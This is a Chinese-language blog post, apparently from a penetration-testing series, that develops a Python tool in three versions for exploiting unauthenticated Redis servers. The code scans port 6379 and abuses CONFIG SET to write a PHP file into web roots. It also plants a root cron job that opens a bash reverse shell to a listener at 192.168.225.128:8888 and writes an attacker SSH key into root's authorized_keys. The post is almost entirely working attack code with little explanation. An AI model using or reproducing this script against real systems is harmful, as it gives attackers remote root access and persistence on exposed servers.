本文最后更新于 419 天前,其中的信息可能已经有所发展或是发生改变。
:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
Redis 未授权访问 getshell
pip install redis
V1.0
端口发现
未授权访问漏洞扫描
#! /usr/bin/env python
'''
redis 未授权 getshell
1. 扫描端口 6379
2. 尝试连接
'''
from shutil import ExecError
import socket
from tabnanny import check
import redis
ip = '192.168.225.135'
port_redis = 6379
# socket 端口扫描
def port_scan(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.3)
try:
s.connect((ip, 6379))
print('[+] port %s is opend' % port_redis)
s.close()
check_redis_connect(ip)
except Exception as e:
print(e)
print('[-] port %s is closed' % port_redis)
...
def check_redis_connect(ip):
try:
client = redis.StrictRedis(host=ip, port=port_redis, socket_connect_timeout=0.3)
print('[+] port %s is connected' % port_redis)
except:
print('[-] connect faild')
if __name__ == '__main__':
port_scan(ip)
V2.0
优化:
- 漏洞利用
- webshell
- cron
- ssh
#! /usr/bin/env python
'''
redis 未授权 getshell
1. 扫描端口 6379
2. 尝试连接
3. exp getshell
3.1 webshell
3.2 cron
3.3 ssh
'''
import socket
import paramiko
import redis
ip = '192.168.225.135'
port_redis = 6379
# socket 端口扫描
def port_scan(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.3)
try:
s.connect((ip, 6379))
print('[+] port %s is opend' % port_redis)
s.close()
return check_redis_connect(ip)
except Exception as e:
print(e)
print('[-] port %s is closed' % port_redis)
return False
def check_redis_connect(ip):
try:
client = redis.StrictRedis(host=ip, port=port_redis, socket_connect_timeout=0.3)
if client:
print('[+] port %s is connected' % port_redis)
# 漏洞利用
exp_webshell(client)
exp_crontab(client)
exp_ssh(client, ip)
return True
else:
print('[-] port %s is connect faild' % port_redis)
return False
except:
print('[-] connect exception')
return False
#### 漏洞利用 ####
def exp_webshell(redis_client):
# 需要 redis 所在主机开启 apache 服务
path = '/var/www/html'
file = 'shell.php'
payload = '<?php phpinfo(); ?>'
try:
redis_client.config_set('dir', path)
redis_client.config_set('dbfilename', file)
redis_client.set('x', payload)
redis_client.save()
print('[+] webshell has saved')
return True
except Exception as e:
print(e)
print('[-] webshell write faild')
return False
def exp_crontab(redis_client):
# 需要提前开启监听等待回连
# nc -lvvp 8888
reverse_ip = '192.168.225.128'
reverse_port = '8888'
path = '/var/spool/cron/'
file = 'root'
payload = '*/1 * * * * /bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (reverse_ip, reverse_port)
try:
redis_client.config_set('dir', path)
redis_client.config_set('dbfilename', file)
redis_client.set('x', '\n\n%s\n\n' % payload)
redis_client.save()
print('[+] crontab has created')
return True
except Exception as e:
print(e)
print('[-] crontab write faild')
return False
def exp_ssh(redis_client, ip):
# 需要提前准备公钥
# 可以使用 ssh-keygen 命令生成(需要安装 ssh,或者 git)
# 也可以在其他开启了 ssh 登录的 linux 机器上复制过来
# 也可以在其他任何支持 ssh 登录的地方生成一份。例如 github,云服务器等
# 需要指定目录下存在 .ssh 文件(否则写入 sshkey 时有可能会找不到目录)
user = 'root' # 想要 ssh 登录的账户
path = '/%s/.ssh' % user # 登录哪个账户,就在哪个账户的目录下的 .ssh 文件中保存公钥
file = 'authorized_keys'
ssh_key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChQMNjSBez39Sp35qS0pfg1YLcPdkXhx9OldpQs+HDttCHChRCREaM6LRMOZrbQQPSX6hkCaiQBYfoFRu5MqqC2a9uf+BM5dzP43h/WKc1WyrfM01ClgB8LzYD8kBhKuqSQIZto8g4zRO579xZ90zqTAktp/B0opV4DKyWLrSoM6HD6RnIYhijZT4m+q/Zn9TaxEzu334SCSpjlkkbexqYrUmB+qGSw1/UWFUE8xAJX03doLNkyEjZcmnH3+n2jejJr7WbDdZncg9S8lLoDcyFGEf/0PEHYvlgnj/AcDdWpkr3itjdKhmJlxqeoMiu76A7cSyo0eBSpXyb1nFsVrjTnj/+W7t3Neqmud6lC47fPCYKobiuP/S9ZHD9Mt5zzNRQgyId08sjJAsgLqytCmWHZA9eckvHOkHClbYgfBv92fFHjSWv0i54pW78cElY+kT6vMlM1m5uGrEQwdcRd5EPlpVwyxJd9XqEL6QHpzLy2h29saEbsZQVs4rG5QnOaf8= Administrator@lzzg-IT2023GIJP'
try:
redis_client.config_set('dir', path)
redis_client.config_set('dbfilename', file)
redis_client.set('x', '\n\n%s\n\n' % ssh_key)
redis_client.save()
print('[+] ssh public key has created')
# SSH 连接
return ssh_connect(ip, user, ssh_key)
except Exception as e:
print(e)
print('[-] ssh public key write faild')
return False
def ssh_connect(ip, user, sshkey):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, 22, user, sshkey)
print('[+] ssh connect test successful, you can connect this computer without password')
return True
except Exception as e:
print(e)
print('[-] ssh connect test faild')
return False
if __name__ == '__main__':
port_scan(ip)
V3.0
优化 webshell,fuzz 其他中间件的 web 站点目录
#! /usr/bin/env python
'''
redis 未授权 getshell
1. 扫描端口 6379
2. 尝试连接
3. exp getshell
3.1 webshell
3.2 cron
3.3 ssh
4. 优化 webshell 方式 fuzz web 中间件的路径
'''
import socket
from urllib import request
import paramiko
import redis
import requests
from config import wwwroot
# print(wwwroot.ALL)
port_redis = 6379
# socket 端口扫描
def port_scan(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.3)
try:
s.connect((ip, 6379))
print('[+] port %s is opend' % port_redis)
s.close()
return check_redis_connect(ip)
except Exception as e:
print(e)
print('[-] port %s is closed' % port_redis)
return False
def check_redis_connect(ip):
try:
client = redis.StrictRedis(host=ip, port=port_redis, socket_connect_timeout=0.3)
if client:
print('[+] port %s is connected' % port_redis)
# 漏洞利用
exp_webshell(client, ip)
exp_crontab(client)
exp_ssh(client, ip)
return True
else:
print('[-] port %s is connect faild' % port_redis)
return False
except:
print('[-] connect exception')
return False
#### 漏洞利用 webshell ####
def exp_webshell(redis_client, ip):
# 需要 redis 所在主机开启 apache 服务
paths = get_webroot(redis_client)
for path in paths:
file = 'shell.php'
payload = '<?php phpinfo(); ?>'
try:
redis_client.config_set('dir', path)
redis_client.config_set('dbfilename', file)
redis_client.set('x', payload)
redis_client.save()
print('[+] webshell has saved at %s' % path)
# 目前只测试默认的 web 端口 80,还可以优化
if web_test(ip, 80, file):
print('[+] webshell test succesful, you can visit http://%s:80%s' % (ip, path))
else:
print('[-] webshell test faild, maybe you can change another port and try it again')
except Exception as e:
print(e)
print('[-] webshell write faild')
return True
def web_test(ip, port, file):
url = 'http://%s:%s/%s' % (ip, port, file)
response = requests.get(url)
if response.status_code == 200:
return True
else:
return False
def get_webroot(redis_client):
roots = []
for pre in wwwroot.ALL:
for suf in wwwroot.SUFFIXES:
try:
root = '%s/%s' % (pre, suf)
# print(root)
redis_client.config_set('dir', root)
print('[+] Find a webroot: %s' % root)
roots.append(root)
except Exception as e:
# print(e)
continue
if not roots:
print('[-] The target computer has no webroot')
return roots
#### 漏洞利用 crontab ####
def exp_crontab(redis_client):
# 需要提前开启监听等待回连
# nc -lvvp 8888
reverse_ip = '192.168.225.128'
reverse_port = '8888'
path = '/var/spool/cron/'
file = 'root'
payload = '*/1 * * * * /bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (reverse_ip, reverse_port)
try:
redis_client.config_set('dir', path)
redis_client.config_set('dbfilename', file)
redis_client.set('x', '\n\n%s\n\n' % payload)
redis_client.save()
print('[+] crontab has created')
return True
except Exception as e:
print(e)
print('[-] crontab write faild')
return False
#### 漏洞利用 sshkey ####
def exp_ssh(redis_client, ip):
# 需要提前准备公钥
# 可以使用 ssh-keygen 命令生成(需要安装 ssh,或者 git)
# 也可以在其他开启了 ssh 登录的 linux 机器上复制过来
# 也可以在其他任何支持 ssh 登录的地方生成一份。例如 github,云服务器等
# 需要指定目录下存在 .ssh 文件(否则写入 sshkey 时有可能会找不到目录)
user = 'root' # 想要 ssh 登录的账户
path = '/%s/.ssh' % user # 登录哪个账户,就在哪个账户的目录下的 .ssh 文件中保存公钥
file = 'authorized_keys'
ssh_key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChQMNjSBez39Sp35qS0pfg1YLcPdkXhx9OldpQs+HDttCHChRCREaM6LRMOZrbQQPSX6hkCaiQBYfoFRu5MqqC2a9uf+BM5dzP43h/WKc1WyrfM01ClgB8LzYD8kBhKuqSQIZto8g4zRO579xZ90zqTAktp/B0opV4DKyWLrSoM6HD6RnIYhijZT4m+q/Zn9TaxEzu334SCSpjlkkbexqYrUmB+qGSw1/UWFUE8xAJX03doLNkyEjZcmnH3+n2jejJr7WbDdZncg9S8lLoDcyFGEf/0PEHYvlgnj/AcDdWpkr3itjdKhmJlxqeoMiu76A7cSyo0eBSpXyb1nFsVrjTnj/+W7t3Neqmud6lC47fPCYKobiuP/S9ZHD9Mt5zzNRQgyId08sjJAsgLqytCmWHZA9eckvHOkHClbYgfBv92fFHjSWv0i54pW78cElY+kT6vMlM1m5uGrEQwdcRd5EPlpVwyxJd9XqEL6QHpzLy2h29saEbsZQVs4rG5QnOaf8= Administrator@lzzg-IT2023GIJP'
try:
redis_client.config_set('dir', path)
redis_client.config_set('dbfilename', file)
redis_client.set('x', '\n\n%s\n\n' % ssh_key)
redis_client.save()
print('[+] ssh public key has created')
# SSH 连接
return ssh_connect(ip, user, ssh_key)
except Exception as e:
print(e)
print('[-] ssh public key write faild')
return False
def ssh_connect(ip, user, sshkey):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, 22, user, sshkey)
print('[+] ssh connect test successful, you can connect this computer without password')
return True
except Exception as e:
print(e)
print('[-] ssh connect test faild')
return False
if __name__ == '__main__':
ip = '192.168.225.135'
port_scan(ip)